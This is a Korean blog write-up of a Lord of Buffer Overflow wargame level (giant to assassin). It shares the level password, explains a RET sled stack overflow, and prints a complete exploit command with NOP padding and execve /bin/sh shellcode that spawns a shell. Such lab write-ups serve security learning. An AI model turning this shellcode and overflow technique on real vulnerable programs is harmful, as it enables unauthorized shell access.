본문 바로가기

Wargame/Lord Of Buffer overflow

[LOB] 15번 giant -> assassin















14번은 pass 하고 15번으로 넘어갔다.


id : giant

password : one step closer



로그인 후 assassin.c 코드를 확인해보면 다음과 같다.









 

이번엔 stack, RTL 둘 다 아니다.


친구한테 힌트를 들었는데 RET sled 를 이용하라고 했다.


RET sled란 NOP sled와 비슷한 내용이다.


RET를 연쇄적으로 호출하여 스택상의 위치를 위로 옮기는 작업이다.


버퍼 오버플로우를 일으켜 RET 위치에 RET가 실행되는 주소를 입력하여 RET가 두 번일어나게 한다.


그리고 두 번째 실행되는 RET에 쉘코드가 있는 버퍼의 주소를 입력해주면 쉘코드가 실행된다.











gdb를 통해 쉘코드가 들어갈 주소를 알아낸다.


일단 strcpy 다음인 main+137에 브레이크 포인트를 걸어준다.


그리고 RET 주소에 0x804851e를 넣어주면 된다.










그리고 a[44] + b[4] + c[4] + nop[50] + a[25] + nop[50]을 넣어주어 nop이 있는 위치를 알아낸다.


0xbffffa88로 정하고 dummy[44] + RET 실행되는 주소[4] + 쉘코드가 있는 버퍼의 주소[4] + NOP[50] + 쉘코드[25] + NOP[50]을 넣어주면 된다.









./assassin `python -c 'print "a"*44 + "\x1e\x85\x04\x08" + "\x88\xfa\xff\xbf" + "\x90"*50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*50'`을 입력해주면 쉘이 실행된다.


my-pass를 통해 비밀번호를 알아낼 수 있다.





'Wargame > Lord Of Buffer overflow' 카테고리의 다른 글

[LOB] 13번 darkknight -> bugbear  (0) 2017.11.22
[LOB] 11번 skeleton -> golem  (0) 2017.11.19
[LOB] 10번 vampire -> skeleton  (0) 2017.11.17
[LOB] 9번 troll -> vampire  (0) 2017.11.16
[LOB] 8번 orge -> troll  (0) 2017.11.16